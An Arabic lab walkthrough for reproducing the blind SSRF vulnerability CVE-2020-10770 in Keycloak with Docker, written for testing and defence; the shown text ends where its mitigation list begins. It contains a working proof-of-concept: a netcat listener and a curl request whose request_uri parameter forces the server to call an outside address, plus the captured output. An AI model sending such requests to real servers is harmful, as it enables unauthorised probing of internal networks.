
دليل خطوة بخطوة لإعادة إنتاج ثغرة SSRF العمياء في Keycloak (CVE-2020-10770) مع إعداد Docker، وتكوين المستمع، ونصائح التخفيف.
هذا شرح خطوة بخطوة حول كيفية اختبار ثغرة SSRF الأعمى (CVE-2020-10770) التي اكتشفها Lauritz Holtmann ووثّقها في مقالته على المدونة.
كما شرح بإيجاز كيفية اختبارها. هذا مجرد شرح أكثر تفصيلاً.
كل الفضل يعود إلى Lauritz.
أستخدم Docker على نظام Mac OSX هنا.
احتجت إلى ثلاث نوافذ طرفية، واحدة لتشغيل مثيل Keycloak، وأخرى للمستمع (listener)، وثالثة لطلب curl.
تحتاج إلى مثيل Keycloak قيد التشغيل بإصدار <= 12.0.1.
يمكنك بدء مثيل اختبار باستخدام الأمر التالي.
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1
قم بزيارة http://localhost:8080/auth/admin/ في المتصفح وسجّل الدخول باسم المستخدم "admin" وكلمة المرور "admin".
على الجانب الأيسر انتقل إلى قائمة "Clients". سينقلك هذا إلى نظرة عامة على العملاء (Clients).

على الجانب الأيمن انقر على "Create" لإنشاء عميل جديد. سينقلك هذا إلى صفحة إنشاء العميل.

اختر "Client ID" مناسباً لعميل Oauth2 الخاص بك. سأستخدم "blueteamoauth2client" هنا (هذا هو <Keycloak_Client_ID> الخاص بك). إذا استخدمت Client ID آخر، فسيتعين عليك تغيير معامل استعلام في طلب الهجوم http. انقر على حفظ لإنهاء إعداد العميل.

سترى الآن إعدادات عميل Oauth2 الجديد لدينا.

هذا كل شيء بالنسبة لجزء الدفاع.
تحتاج إلى مستمع يقبل الطلب الذي نريد تشغيله عبر ثغرة SSRF. لذا يجب أن يكون عنوان IP والمنفذ قابلين للوصول من خادم Keycloak.
لا يمكنك استخدام localhost في هذه الحالة، لأنه من وجهة نظر Keycloak سيكون localhost داخل الحاوية نفسها.
لاسترجاع عنوان IP في نظام Mac OS يمكنك استخدام
for iface in $(ifconfig | grep ^en | awk -F\: {'print $1'}); do ipconfig getifaddr $iface; done
اخترت بدء المستمع على نظام المضيف الخاص بي على المنفذ 4444.
nc -v -l 4444
في نافذة طرفية أخرى، عليك تنفيذ طلب واحد باستخدام curl. يجب تعديله وفقاً لمتطلباتك.
curl "http://<Keycloak_host_or_ip>:<Keycloak_port>/auth/realms/<Keycloak_realm>/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=<Keycloak_Client_ID>&request_uri=http://<Netcat_listener_ip>:<Netcat_listener_port>/"
الأجزاء المهمة هي:
إذن الاستعلام في حالتي هو
curl "http://localhost:8080/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=a&nonce=b&client_id=blueteamoauth2client&request_uri=http://192.168.178.222:4444/"
في مستمع netcat سترى شيئاً مثل هذا.
bash-3.2$ nc -v -l 4444
GET / HTTP/1.1
Host: 192.168.178.222:4444
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate
bash-3.2$
هذا يعني أن مثيل Keycloak قام باستدعاء http إلى المستمع الخاص بك.
ستكون هناك أيضاً إدخالات حول هذا في سجلات Keycloak.
13:37:28,855 WARN [org.keycloak.services] (default task-16) KC-SERVICES0097: Invalid request: java.net.SocketTimeoutException: Read timed out
at java.base/java.net.SocketInputStream.socketRead0(Native Method)
at java.base/java.net.SocketInputStream.socketRead(SocketInputStream.java:115)
(...)
13:37:28,877 WARN [org.keycloak.events] (default task-16) type=LOGIN_ERROR, realmId=master, clientId=blueteamoauth2client, userId=null, ipAddress=172.17.0.1, error=invalid_request
للتخفيف من هذه الثغرة يمكنك إما: